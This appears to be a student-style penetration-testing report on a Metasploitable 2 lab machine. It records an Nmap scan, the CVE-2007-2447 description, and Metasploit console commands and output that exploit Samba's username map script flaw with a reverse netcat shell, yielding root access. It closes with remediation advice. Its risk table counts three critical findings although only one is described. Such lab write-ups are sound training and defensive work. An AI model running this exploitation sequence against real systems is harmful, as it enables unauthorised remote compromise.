

VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

PREPARED BY:
ISMAIL TP

Target: 10.0.2.28

Hostname: metasploitable

Environment: Linux (Metasploitable 2)

Assessment Type: Internal Penetration
Test

Table Of Contents

- Overview
- Executive Summary
- Scope of Assessment
- Methodology
- Tools Used
- Impact Assessment
- Risk Rating
- Recommendations & Mitigation
- Conclusion

1. Overview

This report presents the results of a Vulnerability Assessment and Penetration Testing (VAPT) engagement conducted against the Linux host 10.0.2.28.

The objective of this assessment was to identify vulnerabilities within exposed network services and determine whether they could be exploited to gain unauthorized access to the target system.

During the assessment, SMB services running on ports 139 and 445 were identified. Further enumeration revealed that the system was running an outdated version of Samba (3.0.20-Debian) vulnerable to the well-known username map script command execution vulnerability (CVE-2007-2447).

The identified vulnerability was successfully exploited using the Metasploit Framework, resulting in remote command execution and root-level access to the target machine.

This report documents the methodology, findings, exploitation process, impact, and remediation recommendations associated with the identified vulnerabilities.

2. Executive Summary

An internal penetration test was conducted against the target system 10.0.2.28 to evaluate its security posture.

During the assessment, the Samba service running on the target was identified as version 3.0.20-Debian, which is vulnerable to remote command execution via the Samba username map script vulnerability (CVE-2007-2447).

The vulnerability was successfully exploited using a publicly available Metasploit module. Exploitation resulted in unauthorized remote access and a root shell on the target system.

An attacker exploiting this vulnerability could:

- Execute arbitrary commands remotely
- Gain full administrative access
- Read, modify, or delete sensitive files
- Install malicious software or persistence mechanisms
- Completely compromise the affected server
-

The successful compromise demonstrates the severe risk posed by outdated and vulnerable Samba installations.

Overall Risk Level: Critical

3. Scope of Assessment

In-Scope Asset:

Item	Details
Target IP	10.0.2.28
Hostname	metasploitable
Operating System	Linux 2.6.x
Service	Samba 3.0.20-Debian

In-Scope Services:

Port	Service
139/tcp	netbios-ssn
445/tcp	microsoft-ds

Assessment Boundaries

- Testing conducted from an internal attacker perspective
- Denial-of-Service attacks were not performed
- Social engineering attacks were out of scope

4. Methodology

The assessment followed a structured penetration testing methodology designed to simulate a real-world attack scenario.

4.1 Reconnaissance & Enumeration

Initial reconnaissance was conducted using Nmap to identify open ports, running services, and service versions on the target host.

```
(sova@vbox)-[~]
$ nmap -A -p 139,445 10.0.2.28
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-26 12:46 +0530
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 100.00% done; ETC: 12:46 (0:00:00 remaining)
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.0.2.28
Host is up (0.0013s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:D9:80:D3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 1h59m58s, deviation: 2h49m42s, median: -1s
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_ System time: 2026-05-26T03:16:20-04:00

TRACEROUTE
HOP RTT     ADDRESS
1   1.26 ms 10.0.2.28

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds

(sova@vbox)-[~]
```

4.2 Vulnerability Identification

Service enumeration revealed that the target system was running Samba 3.0.20-Debian.

This version is publicly known to be vulnerable to remote command execution through the Samba username map script vulnerability.

CVE-2007-2447 Detail

MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.

Description

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.

Metrics

CVSS Version 4.0

CVSS Version 3.x

CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:



NIST: NVD

Base Score: N/A

NVD assessment not yet provided.

4.3 Exploitation

The Metasploit Framework was used to exploit the vulnerability using the following module:

```
msf > search Samba 3.0.20

Matching Modules



| # | Name                               | Disclosure Date | Rank      | Check | Description                                   |
|---|------------------------------------|-----------------|-----------|-------|-----------------------------------------------|
| 0 | exploit/multi/samba/usermap_script | 2007-05-14      | excellent | No    | Samba "username map script" Command Execution |



Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
```

The exploit was configured with the target IP and executed successfully.

```
msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):



| Name    | Current Setting | Required | Description                                                                                                             |
|---------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                |
| CPORT   |                 | no       | The local client port                                                                                                   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks5, http, socks5h, sapni, socks4 |
| RHOSTS  |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                  |
| RPORT   | 139             | yes      | The target port (TCP)                                                                                                   |



Payload options (cmd/unix/reverse_netcat):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 10.0.2.15       | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set rhosts 10.0.2.28
rhosts => 10.0.2.28
```


4.4 Post Exploitation

After successful exploitation, a reverse shell session was obtained.

Privilege validation confirmed that the shell was running with root privileges.

```
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Command shell session 1 opened (10.0.2.15:4444 → 10.0.2.28:38742) at 2026-05-26 12:50:53
+0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
█
```

4.5 Reporting

All identified vulnerabilities, exploitation evidence, and remediation recommendations were documented in this report.

5. Tools Used

The following tools were used during the assessment:

Tool	Purpose
Nmap	Network scanning and service
Metasploit Framework	Vulnerability exploitation
Netcat	Reverse shell handling
Kali Linux	Attack platform

6. Attack Path Summary

The following attack path summarizes the compromise process:

1. Performed Nmap scan against the target
2. Identified Samba service on ports 139 and 445
3. Detected Samba version 3.0.20-Debian
4. Identified known vulnerability (CVE-2007-2447)
5. Searched Metasploit for matching exploit module
6. Configured Samba usermap_script exploit
7. Executed exploit successfully
8. Obtained reverse shell session
9. Verified root-level access on target

7. Impact Assessment

The vulnerabilities identified during the assessment collectively result in a critical security impact.

Technical Impact

Full compromise of the Linux server
Remote arbitrary command execution
Unauthorized root-level access
Ability to manipulate sensitive data
Possibility of persistence installation

Business Impact

Loss of confidentiality
Loss of integrity
Service disruption
Risk of malware deployment
Potential lateral movement inside the network

Risk Level

Critical – Full System Compromise
The identified vulnerability allows attackers to gain complete administrative control over the affected server.
Immediate remediation is strongly recommended.

8. Risk Rating

Severity	Number of Findings
Critical	3
High	0
Medium	0
Low	0

Overall Risk Level

Critical

The overall risk is classified as Critical due to successful remote exploitation and root-level compromise of the target server.

9. Recommendations & Mitigation

9.1 Patch Management

- Upgrade Samba immediately
- Apply all latest security patches
- Remove unsupported software versions

9.2 SMB Hardening

- Disable SMBv1 if enabled
- Restrict access to ports 139 and 445
- Disable unnecessary SMB shares

9.3 Access Control

- Implement firewall filtering
- Restrict anonymous SMB access
- Limit network exposure

9.4 Monitoring & Detection

- Monitor SMB authentication logs
- Enable intrusion detection systems
- Monitor for suspicious remote connections

9.5 Security Best Practices

- Conduct regular vulnerability assessments
- Implement network segmentation
- Maintain secure system configurations
- Perform regular penetration testing

10. Conclusion

The Vulnerability Assessment and Penetration Testing conducted against the target system 10.0.2.28 identified a critical vulnerability within the Samba service.

The system was running a vulnerable version of Samba (3.0.20-Debian) susceptible to remote command execution through the username map script vulnerability (CVE-2007-2447).

The vulnerability was successfully exploited using publicly available tools, resulting in root-level access to the target server.

This assessment demonstrates the significant security risks associated with outdated software and improper service hardening.

Immediate remediation is strongly recommended to prevent real-world exploitation and potential compromise of organizational infrastructure.